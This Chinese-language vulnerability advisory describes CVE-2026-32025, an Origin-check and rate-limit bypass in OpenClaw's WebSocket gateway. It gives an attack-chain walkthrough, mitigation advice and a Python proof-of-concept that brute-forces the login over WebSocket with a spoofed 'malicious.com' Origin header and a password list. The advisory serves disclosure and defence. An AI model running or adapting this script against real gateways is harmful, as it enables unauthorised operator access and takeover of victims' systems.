IPBUF安全漏洞报告
English
CVE-2026-32025 CVSS 7.5 高危

CVE-2026-32025 OpenClaw WebSocket认证绕过漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32025
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

认证绕过OpenClawWebSocket暴力破解CSWSH

漏洞概述

OpenClaw 2026.2.25之前的版本在浏览器源WebSocket客户端的身份验证加固方面存在安全漏洞。该漏洞允许攻击者在本地回环部署中绕过源检查和身份验证限流机制。攻击者可以诱骗用户打开恶意网页,随后利用该漏洞对网关进行密码暴力破解攻击。一旦攻击成功,攻击者即可建立经过身份验证的操作员会话,并调用控制平面方法,从而获取系统的控制权。

技术细节

该漏洞的根源在于OpenClaw在处理浏览器发起的WebSocket连接时,对Origin头部(源)的校验存在缺陷,特别是在本地回环(loopback)部署场景下。通常,浏览器的同源策略会限制跨域请求,但WebSocket协议允许客户端在握手时指定Origin,服务器端必须严格校验此头部以防止跨站WebSocket劫持(CSWSH)。在受影响版本中,OpenClaw未能正确实施这一检查,导致攻击者可以从恶意网页向本地运行的OpenClaw网关发起连接。此外,身份验证的限流机制也被绕过,这意味着攻击者无需担心因尝试次数过多而被锁定。攻击者利用恶意JavaScript脚本,通过受害者的浏览器向本地网关发送大量认证请求进行暴力破解。一旦破解成功,攻击者即可获得操作员权限,进而执行控制平面的敏感操作。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者确认目标正在使用受影响版本的OpenClaw,并准备恶意网页和密码字典。
STEP 2
步骤2:投递诱饵
攻击者诱导拥有本地OpenClaw访问权限的用户点击链接或访问包含恶意JavaScript代码的网页。
STEP 3
步骤3:建立连接
受害者浏览器加载恶意页面,脚本尝试向本地OpenClaw网关(127.0.0.1)发起WebSocket连接,利用漏洞绕过Origin检查。
STEP 4
步骤4:暴力破解
通过已建立的WebSocket连接,攻击者脚本自动化尝试不同的密码组合进行认证,由于限流机制被绕过,攻击速度极快。
STEP 5
步骤5:获取权限
一旦密码匹配成功,攻击者获得有效的操作员会话,并通过控制平面API执行恶意指令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json # Target configuration TARGET_URI = "ws://localhost:8080/api/ws" # Replace with actual OpenClaw WebSocket endpoint USERNAME = "admin" # Common default username, adjust as needed WORDLIST = ["password", "123456", "admin", "openclaw", "root"] async def exploit_poC(): print(f"[*] Starting brute force attack on {TARGET_URI}") for password in WORDLIST: try: # The vulnerability allows bypassing Origin checks, so we can connect from any context headers = {"Origin": "http://malicious.com"} async with websockets.connect(TARGET_URI, extra_headers=headers) as websocket: # Construct authentication payload auth_payload = { "jsonrpc": "2.0", "method": "login", "params": { "username": USERNAME, "password": password }, "id": 1 } await websocket.send(json.dumps(auth_payload)) response = await websocket.recv() response_data = json.loads(response) # Check if login was successful if "result" in response_data or "token" in response_data: print(f"[+] SUCCESS! Password found: {password}") print(f"[+] Full Response: {response_data}") return True else: print(f"[-] Failed attempt: {password}") except Exception as e: print(f"[!] Error during connection or auth: {e}") # Continue trying as throttling is bypassed continue print("[*] Brute force completed.") return False if __name__ == "__main__": asyncio.run(exploit_poC())

影响范围

OpenClaw < 2026.2.25

防御指南

临时缓解措施
建议立即升级OpenClaw至最新版本以修复此漏洞。如果无法立即升级,应确保仅受信任的本地主机可以访问管理界面,并配置防火墙规则阻断外部对WebSocket端点的访问,同时务必使用高强度的管理员密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表